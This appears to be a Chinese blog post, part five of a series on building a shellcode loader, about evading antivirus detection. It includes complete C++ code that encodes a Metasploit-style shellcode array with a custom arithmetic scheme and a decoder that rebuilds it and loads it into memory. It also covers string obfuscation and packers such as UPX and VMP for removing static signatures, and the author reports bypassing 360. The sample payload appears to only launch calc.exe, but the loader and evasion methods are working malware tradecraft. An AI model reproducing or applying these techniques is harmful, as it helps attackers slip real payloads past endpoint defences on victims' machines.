这是从0开始写ShellCode加载器的第5篇文章,文章列表,样本demo已上传到GitHub

尝试了几种公开的源码混淆,软件壳方案,效果并不理想。代码混淆这个点暂时搁置。

免杀技术日新月异,然而除非有巧妙的思路出现,多数情况下只是和杀软标记的特征在做对抗。这个过程有点像绕WAF规则。我们先是将shellcode分离加载,又将导入表中敏感函数自定义,又将url地址采用命令行参数的方式传参给程序。上述这些行为的目的都是规避杀软的特征检测。

代码混淆

然而一般情况下,C/C++程序中的字符串常量会被硬编码到程序中(.data段,也就是数据段),尤其是全局变量最容易被定位到。使用strings命令查看

image-20220328204130128

程序中的函数名,字符串常量一览无遗。尽管我们隐藏了导入地址表,VirtualAlloc等字符串还是在里面的。那么对此有什么解决办法吗?在倾旋的文章中,将”VirtualAlloc”字符串base64编码后传入,调用时再将base64的密文隐式解密。这样程序中只有”VmlydHVhbEFsbG9j”之类的字符串,没有敏感函数名了。

这是一个十分巧妙的方法,但不足之处是要在编写代码时考虑好加密解密的问题,如果能有自动化的工具帮助来完成这一过程就再好不过了。

代码混淆(Obfuscated code)亦称花指令,是将计算机程序的代码,转换成一种功能上等价,但是难于阅读和理解的形式的行为。 代码混淆可以用于程序源代码,也可以用于程序编译而成的中间代码。 执行代码混淆的程序被称作代码混淆器。 已经存在许多种功能各异的代码混淆器。

我想要一个在源码级的代码混淆工具,尝试了很多工具后没有找到满意的。代码混淆只是在静态上加强逆向的难度,对于程序的函数调用,行为等并没有混淆作用。这一块先暂时搁置,未来看一些OLLVM相关的知识。

shellcode混淆

使用msf生成的shellcode也是具有特征的,对shellcode进行处理可以消除特征。最基本的处理方式是异或加密,实现代码很简单。但经过查询资料,我发现异或操作本身也很敏感。于是我想到了自己写一个加密方式。

首先我们来写对shellcode进行加密的程序。在分离免杀中,我已经将shellcode转换成了字符型数组。继续这个思路对数组进行加密。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main() {
unsigned char buf[] = "\xfc\xe8\x82\x0\x0\x0\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\xc\x8b\x52\x14\x8b\x72\x28\xf\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x2\x2c\x20\xc1\xcf\xd\x1\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x1\xd1\x51\x8b\x59\x20\x1\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x1\xd6\x31\xff\xac\xc1\xcf\xd\x1\xc7\x38\xe0\x75\xf6\x3\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x1\xd3\x66\x8b\xc\x4b\x8b\x58\x1c\x1\xd3\x8b\x4\x8b\x1\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x1\x8d\x85\xb2\x0\x0\x0\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x6\x7c\xa\x80\xfb\xe0\x75\x5\xbb\x47\x13\x72\x6f\x6a\x0\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x0\x0";
int shellcode_size = sizeof(buf);
cout << sizeof(buf) << endl;

for (int i = 0; i < shellcode_size; i++)
{
int code = buf[i];
printf("%d,", buf[i]);
}
cout <<endl;
for (int i = 0; i < shellcode_size; i++)
{
int code = buf[i];
if (code == 0) //如果为0,不做处理
{
printf("%d,", code);
continue;
}
else if (code % 2 == 0) //如果为偶数 加1
{
code++;
}
else if (code % 2 != 0) //如果为奇数 乘2
{
code = code * 2;
}
printf("%d,", code);
}
}
1
2
3
4
------加密前----------
252,232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193,207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,106,1,141,133,178,0,0,0,80,104,49,139,111,135,255,213,187,240,181,162,86,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5,187,71,19,114,111,106,0,83,255,213,99,97,108,99,46,101,120,101,0,0,0
----------加密后-----
253,233,131,0,0,0,97,274,458,98,193,101,278,81,49,278,83,13,278,83,21,278,115,41,30,366,75,39,98,510,173,61,194,125,3,45,33,386,414,26,2,398,227,243,83,174,278,83,17,278,75,61,278,77,34,121,454,73,2,418,162,278,178,33,2,422,278,146,25,454,59,146,278,53,278,2,215,98,510,173,386,414,26,2,398,57,225,234,247,6,250,249,118,250,37,234,229,89,278,89,37,2,422,103,278,13,150,278,89,29,2,422,278,5,278,2,209,274,69,37,37,182,182,194,178,91,162,510,225,190,190,91,278,19,470,282,186,107,2,282,266,179,0,0,0,81,105,98,278,222,270,510,426,374,241,362,163,87,105,167,298,378,314,510,426,61,7,125,11,129,502,225,234,10,374,142,38,115,222,107,0,166,510,426,198,194,109,198,47,202,121,202,0,0,0

把加密后的数组拿出来,再写一个解密加载程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int main() {
int a[] = { 253,233,131,0,0,0,97,274,458,98,193,101,278,81,49,278,83,13,278,83,21,278,115,41,30,366,75,39,98,510,173,61,194,125,3,45,33,386,414,26,2,398,227,243,83,174,278,83,17,278,75,61,278,77,34,121,454,73,2,418,162,278,178,33,2,422,278,146,25,454,59,146,278,53,278,2,215,98,510,173,386,414,26,2,398,57,225,234,247,6,250,249,118,250,37,234,229,89,278,89,37,2,422,103,278,13,150,278,89,29,2,422,278,5,278,2,209,274,69,37,37,182,182,194,178,91,162,510,225,190,190,91,278,19,470,282,186,107,2,282,266,179,0,0,0,81,105,98,278,222,270,510,426,374,241,362,163,87,105,167,298,378,314,510,426,61,7,125,11,129,502,225,234,10,374,142,38,115,222,107,0,166,510,426,198,194,109,198,47,202,121,202,0,0,0};
int shellcode_size1 = sizeof(a) / sizeof(a[0]);
cout << "size of a:" << shellcode_size1 << endl;
for (int i = 0; i < shellcode_size1; i++)
{
printf("%d,", a[i]);

if (a[i] == 0) //如果为0,不做处理
{
continue;
}
else if (a[i] % 2 == 0) //如果为偶数 除2
{
a[i] = a[i] / 2; //写回
}
else if (a[i] % 2 != 0) //如果为奇数 减1
{
a[i] = a[i] - 1; //写回
}
}
unsigned char* b = (unsigned char*)malloc(shellcode_size1);
for (int i = shellcode_size1-1; i >=0; i--)
{
b[i] = char(a[i]); //倒着写入,万一有效呢
}
load(b, shellcode_size1);

return 0;
}

测试一下效果,轻松过360,被defender乱杀

image-20220330153316723

软件加壳

除了源码级的混淆之外,还有另一种减少特征的方法。杀软检测的编译好的exe文件,一般情况下是不会对照源码进行特征标记的,mimikatz那种著名程序除外。exe中的字符主要是存储在.data段中,如果我们先将.data段中的数据加密,运行时再解密,那么杀软静态面对的是加密后的数据,无法检测特征。

这个过程其实就是软件加壳的过程,市面有很多加壳工具,比如著名的UPXshell。

image-20220329095148450

重新检测加壳后的程序,函数名和字符串都没有了,我们自定义的函数没有了,而且文件体积减小了。并且能正常运行。效果可以说非常好。

image-20220329095259717

然而,UPXshell特征也被杀软标记了,原本杀软不报毒的程序,加壳后反而报毒。同样的还有VMP壳,也被杀软标记,敢加就敢杀。

image-20220329095559570

软件加壳算是复杂技术,免费可用很少,github上直接可以拿来用的也大多数被杀毒软件标记了。

https://github.com/czs108/PE-Packer,这个项目加壳效果不错,只可惜也被杀软标记了。软件加壳比起源码混淆,可以说是一劳永逸。但要熟练掌握PE结构和汇编才能完成。